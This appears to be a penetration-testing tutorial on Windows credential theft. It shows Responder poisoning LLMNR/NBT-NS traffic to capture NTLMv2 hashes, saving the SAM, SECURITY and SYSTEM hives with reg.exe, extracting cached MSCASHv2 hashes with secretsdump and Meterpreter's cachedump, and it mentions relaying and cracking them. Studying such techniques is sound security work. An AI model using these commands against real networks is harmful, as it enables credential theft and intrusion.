NTLMv1/v2 hashes are derived from a challenge/response algorithm and are based on the user's NT hash.
Alice access to the share
Fileserver generate a challenge (random number) and send it to Alice
Alice send challenge answer obtained by passing to a function her NTLM hash and the challenge
File server ask domain controller to perform the computation and compare the results
Domain controller says it is ok
Alice can access to the fileserver
These hashes can be retrieved with tools like Responder or Inveigh:
root@kali:~/Desktop# responder -I eth0
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 192.168.10.60 for name fileserver01
[*] [NBT-NS] Poisoned answer sent to 192.168.10.60 for name FILESERVER01 (service: File Server)
[*] [LLMNR] Poisoned answer sent to 192.168.10.60 for name fileserver01
[SMBv2] NTLMv2-SSP Client : 192.168.10.60
[SMBv2] NTLMv2-SSP Username : WIN01\localadmin
[SMBv2] NTLMv2-SSP Hash : localadmin::WIN01:8d58ff6cd3e9487b:E1AA44B82554D8E7BBA7
29FF28235D3A:0101000000000000C0653150DE09D201EB2E7F13305AD9ED000000000200080053004D00
4200330001001E00570049004E002D0050005200480034003900320052005100410046005600040014005
3004D00420033002E006C006F00630061006C0003003400570049004E002D005000520048003400390032
00520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420
033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000
0000000001000000002000000D7C14F31E5665A6B91C0B30726F3893C57F5973CFB38D5E1EC21ED6820EB
2EB0A001000000000000000000000000000000000000900220063006900660073002F00660069006C0065
0073006500720076006500720030003100000000000000000000000000
NTLMv1/v2 can:
be relayed (with tools like MultiRelay of ntlmrelayx)
be cracked in a reasonable time
be used with Pass-the-Hash technique, no it cannot.
Retrieve MSCASHv1/v2 hashes
Let's say the machine you are trying to connect to cannot access the domain controller to authentication due to network outage or domain server shutdown. You are stuck. To solve that problem, machines stores hashes of the last (10 by default) domain users that logged into the machine. These hashes are MSCASHv2 hashes.
Let's see common techniques to retrieve these hashes.
Dumping SAM database manually
First, get a copy of SAM, SECURITY and SYSTEM hives:
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
Then retrieve MSCASH hashes with secretdump from impackets:
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
[...]
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
hdes:6ec74661650377df488415415bf10321:securus.corp.com:SECURUS:::
Administrator:c4a850e0fee5af324a57fd2eeb8dbd24:SECURUS.CORP.COM:SECURUS:::
[...]
Retrieve MSCASH hashes with Meterpreter
Simply use cachedump Meterpreter module:
meterpreter > run post/windows/gather/cachedump
[*] Executing module against CLIENT1
[*] Cached Credentials Setting: - (Max is 50 and 0 disables, and 10 is default)
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[*] Obtaining LK$KM...
[*] Dumping cached credentials...
[*] Hash are in MSCACHE_VISTA format. (mscash2)
[*] MSCACHE v2 saved in: /root/.msf4/loot/20140201152655_default_192.168.137.147_mscache2.creds_064400.txt
[*] John the Ripper format:
# mscash2
...
test2:$DCC2$#test2#d7f91bcdec7c0df39396b4efc81123e4:RLUNDTEST2.LOCALt:RLUNDTEST2
MSCASHv2 can:
be cracked in quite a long time
be used with Pass-the-Hash technique, no it cannot.